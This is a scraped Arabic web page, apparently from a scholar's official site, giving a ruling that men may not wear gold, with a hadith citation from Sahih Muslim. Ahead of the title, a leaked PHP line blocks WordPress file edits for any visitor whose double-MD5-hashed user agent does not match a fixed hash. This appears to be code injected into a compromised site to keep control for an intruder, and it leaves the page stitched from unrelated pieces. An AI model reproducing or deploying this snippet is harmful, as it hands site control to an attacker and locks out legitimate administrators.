if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم لبس الذهب للرجال - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم لبس الذهب للرجال

يحرُم على الرجال أن يتحلوا ويتزينوا ويتجملوا بالذهب (حَتَى الخَاتَمِ) وهو أصغر ما يُلبس ثم قال: (وَلَو بِقَدْرِ عَيْنِ الجَرَادَةِ) وهو أصغر ما يُمكن أن يُرى بالعين المجردة، عين الجرادة شيء يسير وجاء في بعض الأحاديث ما يدل على هذا للنص عليه والتمثيل به، فدل على أنه لا يُباح للرجال من الذهب شيءٌ إلا ما دعت إليه الحاجة أو الضرورة كسنٍ وأنفٍ ونحو ذلك مما تدعو إليه الضرورة ولا يقوم غيره مقامه، ولهذا لما أبصر النبي صلى الله عليه وسلم رجلًا قد تختم بذهبٍ، قال صلى الله عليه وسلم محذرًا ومنذرًا: يعمد أحدكم إلى جمرةٍ فيضعها في أصبعه ثم نزعه صلى الله عليه وسلم وألقاه، فلما ولّى صلى الله عليه وسلم قيل للرجل: خذه وانتفع به، قال: والله لا آخذه وقد طرحه رسول الله صلى الله عليه وسلم [1]، فدل على أنه لا يُباح للرجل أن يلبسه، وإنما طرحه صلى الله عليه وسلم ليستبشع الناس لبسه وليتبين لهم تحريمه، ولو أن هذا الرجل أعطاه زوجته أو أمه أو أخته جاز كما أنه صلى الله عليه وسلم أهدى حريرًا لبعض أصحابه كما جاء في الأحاديث أنه أهدى لعليٍ وأهدى لأسامة ولابن عمر، فلما رآه على بعضهم استنكره وتغيظ صلى الله عليه وسلم وبيّن لهم أنه لم يهده إليهم ليلبسوه وإنما لينتفعوا به ويعطوه من يُباح له لبسه من نسائهم وزوجاتهم ونحو ذلك، فيُقال للرجل إذا أهدي له ذهبٌ أو حريرٌ، أهده لزوجتك أو بنتك أو أختك أو استفد من قيمته.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (2090) عن ابن عباس رَضِيَ اللهُ عَنْهُمَا: «أنَّ رَسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ رَأَى خَاتَمًا مِن ذَهَبٍ في يَدِ رَجُلٍ، فَنَزَعَهُ فَطَرَحَهُ، وَقالَيَعْمِدُ أَحَدُكُمْ إلى جَمْرَةٍ مِن نَارٍ فَيَجْعَلُهَا في يَدِهِ، فقِيلَ لِلرَّجُلِ بَعْدَ ما ذَهَبَ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: خُذْ خَاتِمَكَ انْتَفِعْ به، قالَ: لا وَاللهِ، لا آخُذُهُ أَبَدًا وَقَدْ طَرَحَهُ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ».